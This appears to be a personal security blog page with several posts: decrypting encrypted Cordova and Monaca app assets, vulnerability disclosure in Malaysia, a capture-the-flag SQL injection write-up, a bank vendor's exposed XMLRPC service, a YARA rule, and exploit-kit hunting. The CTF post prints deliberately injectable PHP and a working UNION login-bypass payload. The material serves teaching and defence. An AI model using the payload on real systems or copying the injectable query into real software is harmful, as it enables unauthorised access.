Rz | The Hollow Within

Decrypting File encrypted by Monaca Plugin

You can actually click the images to open the original size.

I stumble upon an android app developed using Monaca development framework with encrypted files. What is Monaca? from the official web monaca.io:

Monaca makes HTML5 hybrid mobile app development with PhoneGap/ Cordova simple and easy. Monaca is the most open hybrid app development platform available and ready to be immediately plugged into your existing workflow and development environment. From Cloud IDE, CLI to debugger and remote online build, everything you need for your hybrid app development is here.

 So basically it just another framework built on top of Cordova.

How do you determine the app is using Monaca framework? Normally, there will be traces of MonacaExtension.init in the MainActivity of the app.

As for Cordova-based app, the HTML code should be located in /assets/www/ folder. Upon opening the index.html, I found that the code is encrypted.

I then investigate the framework, and found out this is part of their offering for paid plan, to encrypt the HTML code using AES. Ref: https://docs.monaca.io/en/reference/power_plugins/html5_resource_encryption/

The implementation of the encrypt/decrypt routine in the app present in the class io.monaca.plugins.encrypt  

This the entry point for Encrypt plugin by Monaca, as you can see, it actually check if the autoDecrypt being boolean true, then the code will automatically set the Hash. Both variable coming from Config class in the plugin.

Basically, the autoDecrypt is set to True.

This portion of code will be called if the file is encrypted. Look at line(not sure if it actually line) 77 in the screenshot, the plugin check if the current file is actually encrypted. Encrypted monaca file have 8-bytes header. The header is {24, 8, 77, 69, 1, 13, 10, 0} (bytes), the magic header is from isEncrypted method inside the MonacaFile class.

Anyway, back to previous screenshot, the code flow is:
if file is not encrypted, call mFileManager.getRawBytes(path, flagAsset)
else try call mFileManage.getBytes(path, flagAsset) 

The different here is getRawBytes vs getBytes
getRawBytes = read all file content
getBytes = read all file content 8 bytes onward(because the encrypted file have 8-bytes magic header), and apply decryption.

Below are decryption routine code:

Basically, Config.Hash is the Key and first 16 bytes of the Config.Hash is the IV.
Now we have the Key and IV, we should be able to decrypt the file. I wrote little python script to decrypt the encrypted file.

The code:

Reality on Responsible Vulnerability Disclousure in Malaysia

Bare with my writing, as I'm about 30h+ since my last sleep.  yep.

Coming from working with Malaysia Computer Emergency Response Team (MyCERT) and SEC Consult (MY) has taught me a reality of responsibly vulnerability disclosure in Malaysia.

Speaking based on my experience, having to directly communicate with vendors. I can say most vendors here are not yet ready to receive any reports of security issues with their products. They always assume you tried to blackmail them and became so defensive. Also, their legal dept and PR dept is not happy with you, for doing some funny stuff with their web/product without first getting their consent.

Take examples of the following vulnerability report:

  • https://portswigger.net/daily-swig/critical-flaw-found-in-mybiz-procurement-software

The vendor fails to respond to all my email sent to them across multiple channels, but somehow able to respond to portswigger blogpost.

Timeline:
2018-02-22:    Contacting vendor through [email protected] (no response)
2018-02-27:    Request update from the vendor (no response)
2018-03-13:    Trying to contact via web form http://www.mybiz.net/contact-us (no response)
2018-05-14:    Public release of security advisory


Another perfect example is from my previous blog post (http://blog.rz.my/2018/09/how-to-not-write-code-for-banks.html), this particular vendor even threatening to sue over the security report.

My best experience from doing the reporting stuff is with this report:

  1. https://sec-consult.com/en/blog/advisories/local-file-disclosure-in-vlc-media-player-ios-app/
The CTO itself replied to the email to acknowledge the report.

I presented at OWASP.MY Meetup in 2018 about the workflow of responsible disclosure, you can check the slide here

That all about reporting the vulnerability of local vendor products. What if you would like to report vulnerability at a particular website who happens to own by Malaysia entity? For example, you found security vulnerability at web something[.]gov[.]my or even any domain ending with dot MY, how do you report it?

You can always report to MyCERT or National Cyber Security Agency (NACSA) thru their web form or just email them.
  • MyCERT: http://mycert.org.my/portal/full?id=9eb77829-7dd4-4180-814f-de3a539b7a01
  • NACSA: https://www.nacsa.gov.my/incident_report.php


I often report any security vulnerability to MyCERT as I familiar with their escalating SOP, help you a lot with escalating the issue to relevant parties.

When you report to MyCERT or NACSA, don't expect to receive any credit if the vulnerability gets patched. For me, it's better not to put your self in legal trouble because you doing some funny stuff on their web. Not worth the credit you wanted with the legal trouble you might have later. Might also affect your future career.. you know sape nak budak nakal kind of mindset. 

remember, kalau ada orang datang dan berzikir "kita/kami buat semua ini tak amik duit dan hanya buat ini demi negara tercinta" itu adalah tahi lembu.

Ok bye


Rawsec 2020 - Web2 Challenge Write-Up

Disclaimer: I'm the challenge author




As this challenge provide source code, we will just look into the source code.

In the source.zip contain 3 files.
  1. db.sql
  2. index.php
  3. style.css
Soo... based on code you should realize that this is just textbook SQL Injection. Without dumping whole data from database, you can bypass the login mechanism by using UNION technique to pollute the variable was used in the login process.

The login mechanism:
if(!empty($_POST['username'])) {
 $q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");
 if($q->num_rows > 0) {
  // username exists
  $data = $q->fetch_object();
  if( password_verify($_POST['password'], $data->userpass) ) {
   // valid password
   if($data->userlevel >= 999) {
    $flag = include("flag.php");
    echo "<script>alert('Flag: ".$flag."');</script>";
   } else {
    echo "<script>alert('Insufficient user level :)');</script>";
   }
  } else {
   echo "<script>alert('Invalid username or password.');</script>";
  }
 } else {
  echo "<script>alert('Invalid username or password');</script>";
 }
}

In order to use UNION technique, you required to have same column number as original (first) query. at line number 9 index.php shown SELECT * query, mean that selecting all available column in the table.
$q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");

We refer to the db.sql, at CREATE TABLE statement, it has 5 columns.

CREATE TABLE `logins` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `userpass` varchar(255) NOT NULL,
  `userlevel` varchar(1) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;

Now we have all the information we need to do UNION technique.
To generate hash that satisfy password_verify, please use following commands:
php -r "echo password_hash('yourpassword', PASSWORD_DEFAULT);"

After generate the hash.
Our injection would be:
a' and 1=2 union select 1,2,'our generated hash',9999,3 -- a
and fill the password field with yourpassword
Thats all,
ciao

Full content of db.sql and index.php

How to not write code for banks

While surfing the interwebs, I stumble upon this one company, which has been providing  a lot of applications to the Malaysia local banks (hereinafter referred to as Vendor ABC).

So, me being me, with a lot of curiosity.. I started poking around with the demo site provided by Vendor ABC. Upon some time, I found one very interesting finding..

This application have a XMLRPC web service, exposed few services to the client
The code:

So basically, this XMLRPC web service expose three methods: query, insertcall and updatecall. From the name itself, everyone can guess, what this function actually does.. lol

The query method code:


All these exposed XMLRPC web service can be access without any authentications.. Hahaha

Upon quick google search, reveal that out of 8.. Only more than two, but less than four banks doesn't use this application.


List Source: http://www.bnm.gov.my/index.php?ch=li&cat=banking&type=CB&sort=lf&order=desc

Ok Bye.

Decrypting Cordova "Crypt File" plugin

Hey, It has been a while since the last update.

While doing my daily job, I found an interesting android mobile application. It's a hybrid mobile application, written using Cordova.

Cordova in a nutshell:
"Apache Cordova is an open-source mobile development framework. It allows you to use standard web technologies - HTML5, CSS3, and JavaScript for cross-platform development. Applications execute within wrappers targeted to each platform, and rely on standards-compliant API bindings to access each device's capabilities such as sensors, data, network status, etc."

Reference: https://cordova.apache.org/docs/en/latest/guide/overview/

As usual I start with static analysis by "decompiling" the application using "apktool", and browse to "assets/www" folder, this is where all HTML/CSS/JS file for Cordova located.

What's make this application interesting is, all the files is encrypted.
Encrypted File Content


After analyzing the application, I found that it is using Cordova plugin called "crypt file" (https://github.com/tkyaji/cordova-plugin-crypt-file)

I have made a decryptor in order to ease static analysis. I have also made a encryptor for application recompilation during analysis. Example for patching the SSL Pinning/Root Detection mechanism.

In order to use the tool, first you need to retrieve the KEY and IV from the application. It not complicated as the KEY and IV is located at com.tkyaki.cordova.DecryptResource.class
CRYPT_IV and CRYPT_KEY
And finally this is the tool, written in nodejs, update config.key and config.iv accordingly


Thanks!

Yara Rule For EITEST Fake Chrome Popup

rule EITest_FakeChromePopup
{
   meta:
      description = "EITest Fake Chrome Popup"
      ref = "http://blog.rz.my/2017/02/yara-rule-for-eitest-fake-chrome-popup.html"
      author = "[email protected]"
      version = "1"
   strings:
      $a = "(!!window.chrome && !!window.chrome.webstore)" nocase
      $c = "search=unescape('%2F%5B%5E%3C%3E%5C%5C%6E%5C%5C%73%5D%2F%69%67%6D')" nocase
      $d = "result[i].replace(eval(search),'&#0;')" nocase

   condition:
      all of them
}

Hunting Exploit Kits with Open Proxy Server

Hey, It has been a while since the last update.

I have been wondering how the researcher get intel on exploit kits. It is easy for large enterprise, you can just setup ids at gateway. Same goes to AV/Security company, they get it from telemetry. How about part-time researcher?

First, what is an exploit kits?

"An exploit kit is basically a utility program or toolkit that can deliver an exploit to its corresponding target program. If the exploit is successful, the kit can then deliver a malicious payload to the compromised computer or mobile device. If you think of a single exploit as being an 'arrow' that can only hit one particular 'sweet spot' on a target, then an exploit kit is the 'bow' that can launch an entire quiverful of arrows at any target that happens to be within range.

In order to get targets to attack, exploit kit operators will typically host their kits on websites, which may be either maliciously crafted websites, or legitimate ones that have been compromised. The kits can then silently probe the computers or mobile devices of any visitors to the site. In some cases, attackers may increase the flow of potential victims to the exploit kit by using some form of web traffic hijacking to redirect more visitors to the poisoned website. For example, websites might be hacked in order to quietly redirect users to the site hosting the exploit kit.

If a visitor's machine is found to be vulnerable to the exploit, the kit then downloads a payload onto the victim (essentially, a drive-by download attack). The payload can be tailored according to the exploit kit operator's wishes, but typically include downloading such malware as ransomware, botnet-related components and banking-trojans.

Most exploit kits can also be updated by their creators or controllers (not always the same party) to add new exploits, allowing them to target any new vulnerabilities found without much fuss. For example, when the Hacking Team data breach occurred in early 2015, exploit code that was detailed in the exposed data was quickly added to various exploit kits."

Flow of Exploit kits:
+-------------------------------+
+      Compromised Website      +
+-------------------------------+
               ||                
               \/                
+-------------------------------+
+           TDS/GATE            +
+-------------------------------+
               ||                
               \/                
+-------------------------------+
+         Exploit Kits          +
+-------------------------------+

What do you need for hunting exploit kits
1. Signature/Rules
2. Access to a lot of HTTP Traffic

Here is my setup for hunting
+-------------------------------+
+        Open Proxy Server      +
+-------------------------------+
               ||                
               \/                
+-------------------------------+
+          ICAP Server          +
+-------------------------------+
               ||                
               \/                
+-------------------------------+
+   Scan URL/Content with Yara  +
+-------------------------------+

ICAP in a nutshell
"The Internet Content Adaptation Protocol (ICAP) is a lightweight HTTP-like protocol specified in RFC 3507 which is used to extend transparent proxy servers, thereby freeing up resources and standardizing the way in which new features are implemented. ICAP is generally used to implement virus scanning and content filters in transparent HTTP proxy caches. Content adaptation refers to performing the particular value added service (content manipulation) for the associated client request/response."

While searching for ICAP server with yara support. I stumbled upon this project, as you may see it is old project with old yara version... and it written in C...
So, I decided to write my own ICAP Server with ability to scan the content/url by using yara. I found this ICAP Server framework, and start working on top of it.

Python ICAP Yara
 
- An ICAP Server with yara scanner for URL and content.

This ICAP server designed to handle RESPMOD method. RESPMOD is called when a HTTP response must be modified, in other words, ICAP receive all the request and response header alongside with the response content.

How my ICAP Server works
Example saved information
{
    "content": "hex encoded content",
    "request_header": {
        "accept": [
            "*/*"
        ],
        "host": [
            "blog.rz.my"
        ],
        "user-agent": [
            "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0""
        ]
    },
    "response_header": {
        "content-type": [
            "text/html; charset=UTF-8"
        ],
        "date": [
            "Thu, 09 Feb 2017 03:30:34 GMT"
        ],
        "server": [
            "GSE"
        ],
        "referer": [
            "https://www.google.com/"
        ]
    },
    "rules": [
        "rule1",
        "rule2"
    ]
}

Beside from JSON-formatted data, there's information about triggered rules shown in console also written into separate log file

Example:



References
  1. https://www.f-secure.com/en/web/labs_global/exploit-kits
  2. https://github.com/Peoplecantfly/icapserver
  3. https://github.com/VirusTotal/yara/